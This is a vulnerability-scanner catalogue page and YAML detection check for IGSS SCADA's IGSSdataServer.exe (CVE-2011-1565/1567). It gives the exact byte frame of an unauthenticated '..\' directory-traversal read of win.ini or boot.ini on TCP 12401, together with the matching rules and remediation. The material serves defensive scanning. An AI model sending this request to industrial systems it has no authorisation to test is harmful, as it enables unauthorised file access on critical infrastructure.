IGSS — 1 vulnerability check

noctis ships 1 vulnerability check for IGSS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

IGSS IGSSdataServer.exe directory traversal file read and stack overflows

CVECVE-2011-1565, CVE-2011-1567
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Servicesunknown
Detectionscript, tcp_dialogue, match · highest QoD 75
Feedtests/vulnerabilities/igss/igss-dataserver-multiple-vulns.yaml

IGSSdataServer.exe, the data server of the 7-Technologies (now Schneider Electric) Interactive Graphical SCADA System (IGSS), listens on TCP 12401 and serves file operations to IGSS clients without authentication. Up to version 9.00.00.11063 it does not confine the file names of these operations, so a remote attacker can read, create or overwrite any file on the server through `..\` sequences (CVE-2011-1565); the same service also overflows stack buffers on crafted file-operation and report requests (CVE-2011-1567), which allows code execution.

What the test sends: for each of `windows/win.ini`, `boot.ini` and `winnt/win.ini`, a fresh connection carrying one read-file request (file-operation opcode, command 3) for that file behind sixteen `..\` sequences. Nothing is written.

What confirms the finding: the reply carries the content of the requested Windows file — `; for 16-bit app support` or the `[fonts]` and `[extensions]` sections of win.ini, or the `[boot loader]` section of boot.ini. These strings are not part of the request, so a service that merely echoes what it receives is not reported. The test stops at the first file read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script, for each of 3 values
  2. TCP dialogue: one binary protocol frame
  3. Checks r.transcript for (?i)(\[boot loader\]|; for 16-bit app support|\[fonts\][\s\S]*\[exten… → finding QoD 75: IGSS IGSSdataServer.exe directory traversal — arbitrary file read

References:

Feed source — tests/vulnerabilities/igss/igss-dataserver-multiple-vulns.yaml
# 7-Technologies (Schneider Electric) IGSS — IGSSdataServer.exe (TCP 12401),
# CVE-2011-1565 directory traversal file read + CVE-2011-1567 stack overflows.
#
# Detection logic ported from the OpenVAS/Greenbone NVT 2011/gb_igss_46936.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103128, GPL-2.0-only). Kept as a comment: the
# description is product documentation.
# Request shape: the NVT's frame byte for byte — 22-byte header
#   9b 00 | 01 00 34 12 | 0d (opcode: file operations) | 00 x7 | 01 (flag)
#   | 00 00 00 | 03 00 00 00 (command 3: read file)
# then "..\" x16 + file name, NUL-padded. Field meanings follow the header
# Metasploit documents for the same service (igss9_igssdataserver_listall /
# _rename: little-endian packet size, opcode 0x0d, flag, command).
#
# Better than the NVT:
#   - the NVT overwrites its content pattern with the file NAME before matching
#     (`pattern = str_replace(..., string:file, ...)`), so it reports any service
#     that echoes "boot.ini" / "win.ini" back and misses a real read whose reply
#     does not repeat the name. This feed matches the file CONTENT
#     ("[boot loader]", "; for 16-bit app support", "[fonts]" … "[extensions]"),
#     none of which is in the request, so an echo cannot match;
#   - the NVT always sends the 0x9b (155-byte) size of the boot.ini frame and
#     appends a fixed 77 NUL bytes, so its win.ini frames are 162 bytes long
#     while announcing 155. Here the name field is NUL-padded to the same
#     133 bytes for every file, so every frame is exactly the 155 bytes its
#     header announces (the boot.ini frame is unchanged);
#   - one fresh connection per file: the NVT reuses one socket for all its
#     requests, and a server that drops the connection after a failed read
#     (file absent, e.g. boot.ini on Windows Vista and later) hides the next
#     file.
uid: c00d33c9-d4d6-4323-9ea3-cf06ecbf6bad
name: "IGSS IGSSdataServer.exe directory traversal file read and stack overflows"
description: |
  IGSSdataServer.exe, the data server of the 7-Technologies (now Schneider
  Electric) Interactive Graphical SCADA System (IGSS), listens on TCP 12401
  and serves file operations to IGSS clients without authentication. Up to
  version 9.00.00.11063 it does not confine the file names of these
  operations, so a remote attacker can read, create or overwrite any file on
  the server through `..\` sequences (CVE-2011-1565); the same service also
  overflows stack buffers on crafted file-operation and report requests
  (CVE-2011-1567), which allows code execution.

  What the test sends: for each of `windows/win.ini`, `boot.ini` and
  `winnt/win.ini`, a fresh connection carrying one read-file request
  (file-operation opcode, command 3) for that file behind sixteen `..\`
  sequences. Nothing is written.

  What confirms the finding: the reply carries the content of the requested
  Windows file — `; for 16-bit app support` or the `[fonts]` and
  `[extensions]` sections of win.ini, or the `[boot loader]` section of
  boot.ini. These strings are not part of the request, so a service that
  merely echoes what it receives is not reported. The test stops at the
  first file read.
cves: [CVE-2011-1565, CVE-2011-1567]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.30
tags: [igss, schneider-electric, 7-technologies, scada, ics, path-traversal, file-read, unauthenticated, windows, tcp-12401]
# nmap has no service name or version probe for TCP 12401: the port is
# reported as "unknown".
services: [unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-1565"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-1567"
  - "http://aluigi.altervista.org/adv/igss_1-adv.txt"
  - "https://www.exploit-db.com/exploits/17024"
  - "http://www.securityfocus.com/bid/46936"

steps:
  # One iteration per Windows file: build the read-file frame, send it on a
  # fresh connection, look for the file's content. `stop` ends the test at the
  # first read, so at most one finding is reported.
  - id: build-read
    action: script
    store_as: frame
    code: |
      let name = "";
      for i in 0..16 { name += "..\\"; }
      name += file;
      let h = "9b0001003412" + "0d00000000000000" + "01000000" + "03000000";
      h += hexstr(name);
      let pad = 133 - strlen(name);
      for i in 0..pad { h += "00"; }
      h
    loop:
      over:
        - "windows/win.ini"
        - "boot.ini"
        - "winnt/win.ini"
      var: file

  - id: read-file
    action: tcp_dialogue
    port: "{{port}}"
    # The service sends no greeting: go straight to the request.
    read_banner: false
    send_hex: "{{frame}}"
    timeout_secs: 10
    store_as: r

  - id: file-content
    action: match
    condition: "r.connected == true"
    source: r.transcript
    pattern: "(?i)(\\[boot loader\\]|; for 16-bit app support|\\[fonts\\][\\s\\S]*\\[extensions\\])"
    on_match:
      finding:
        title: "IGSS IGSSdataServer.exe directory traversal — arbitrary file read"
        description: "An unauthenticated read-file request sent to the IGSS data server on this port returned the content of the Windows file {{file}} through a ..\\ traversal out of the IGSS directory (CVE-2011-1565). The same flaw lets an attacker create or overwrite arbitrary files, and IGSSdataServer.exe 9.00.00.11063 and earlier also overflows stack buffers on crafted file-operation and report requests (CVE-2011-1567), all without authentication."
        remediation: "Install the Schneider Electric (7-Technologies) IGSS update released in March 2011, which replaces IGSSdataServer.exe 9.00.00.11063 and earlier. Until then, block TCP 12401 at the host firewall and allow it only from the IGSS operator stations."
        confidence_delta: 0.55
        qod: 75
        evidence: "Read-file request for {{file}} returned the file content: {{r.transcript}}"
      stop: true

View these feeds on GitHub